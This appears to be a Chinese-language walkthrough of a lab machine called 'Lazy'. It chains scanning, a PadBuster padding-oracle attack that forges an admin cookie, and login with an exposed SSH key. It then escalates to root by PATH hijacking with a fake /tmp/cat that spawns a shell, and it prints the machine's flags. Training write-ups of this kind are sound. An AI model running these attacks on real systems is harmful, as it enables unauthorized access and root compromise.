[Meachines] [Medium] Lazy Padding-Oracle+AES_CBC+路径劫持权限提升
字数 1233 2025-08-29 08:29:58
AES-CBC Padding Oracle攻击与PATH劫持权限提升实战教学
1. 信息收集阶段
1.1 目标扫描
首先对目标IP 10.10.10.18 进行扫描:
ip='10.10.10.18';
itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
扫描结果:
- 22/tcp: OpenSSH 6.6.1p1 Ubuntu
- 80/tcp: Apache httpd 2.4.7 (Ubuntu)
1.2 Web应用分析
发现网站http://10.10.10.18/register.php,检查Cookie发现auth字段:
Cookie: auth=5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc
尝试SQL注入' or '1'='1时返回"Invalid padding"错误,表明可能使用了AES-CBC加密。
2. Padding Oracle攻击
2.1 攻击原理
Padding Oracle攻击利用服务器对填充错误信息的不同响应,逐字节推测密文内容。攻击者通过篡改密文并观察服务器返回的padding error,逐步恢复原始明文,甚至伪造合法密文。
2.2 攻击实施步骤
1. 确定区块大小
printf '5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc' | base64 -d | xxd
输出为24字节,区块大小可能是8的倍数(8、16等)。
2. 使用PadBuster解密
padbuster http://10.10.10.18/index.php 5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc 8 -cookies auth=5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc -encoding 0
选择长度15,发现明文结构是user=xxxx。
3. 伪造管理员Cookie
padbuster http://10.10.10.18/index.php 5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc 8 -cookies auth=5UQg6VGqMvv8eyVEVcHgPhnnJtQXoETc -encoding 0 -plaintext user=admin
得到伪造的Cookie值:
BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
3. 获取初始访问权限
3.1 发现SSH私钥
访问http://10.10.10.18/mysshkeywithnamemitsos获取RSA私钥:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqIkk7+JFhRPDbqA0D1ZB4HxS7Nn6GuEruDvTMS1EBZrUMa9r
[...省略...]
1U9sNcW9DmA==
-----END RSA PRIVATE KEY-----
3.2 使用私钥SSH登录
chmod 600 id_rsa
ssh mitsos@10.10.10.18 -i ./id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
成功登录后获取user flag:
347284d78bc82cf3c41d5c8e3d27336a
4. 权限提升:PATH劫持
4.1 发现备份脚本
在用户目录发现/home/mitsos/backup脚本,可能调用了系统命令如cat。
4.2 创建恶意cat程序
echo -e '#!/bin/sh\n/bin/sh' > /tmp/cat
chmod +x /tmp/cat
4.3 修改PATH环境变量
PATH=/tmp:$PATH
4.4 执行备份脚本
/home/mitsos/backup
由于PATH被修改,系统会优先使用/tmp/cat,从而获得root shell。
获取root flag:
7845959f385fc8cd21ca69bebd62d09f
5. 防御措施
5.1 防御Padding Oracle攻击
- 使用统一的错误信息(不泄露padding有效性)
- 采用认证加密模式如AES-GCM
- 在解密前验证消息认证码(MAC)
5.2 防御PATH劫持
- 在脚本中使用命令的绝对路径
- 设置安全的PATH环境变量
- 使用
./program而非直接program执行当前目录程序 - 限制用户对关键目录的写权限
6. 工具与命令总结
| 工具/命令 | 用途 |
|---|---|
| nmap/masscan | 端口扫描 |
| padbuster | Padding Oracle攻击工具 |
| base64/xxd | 编码转换和分析 |
| ssh -i | 使用私钥登录 |
| PATH修改 | 环境变量劫持 |
通过本案例,我们学习了从信息收集到权限提升的完整渗透测试流程,重点掌握了Padding Oracle攻击和PATH劫持两种技术。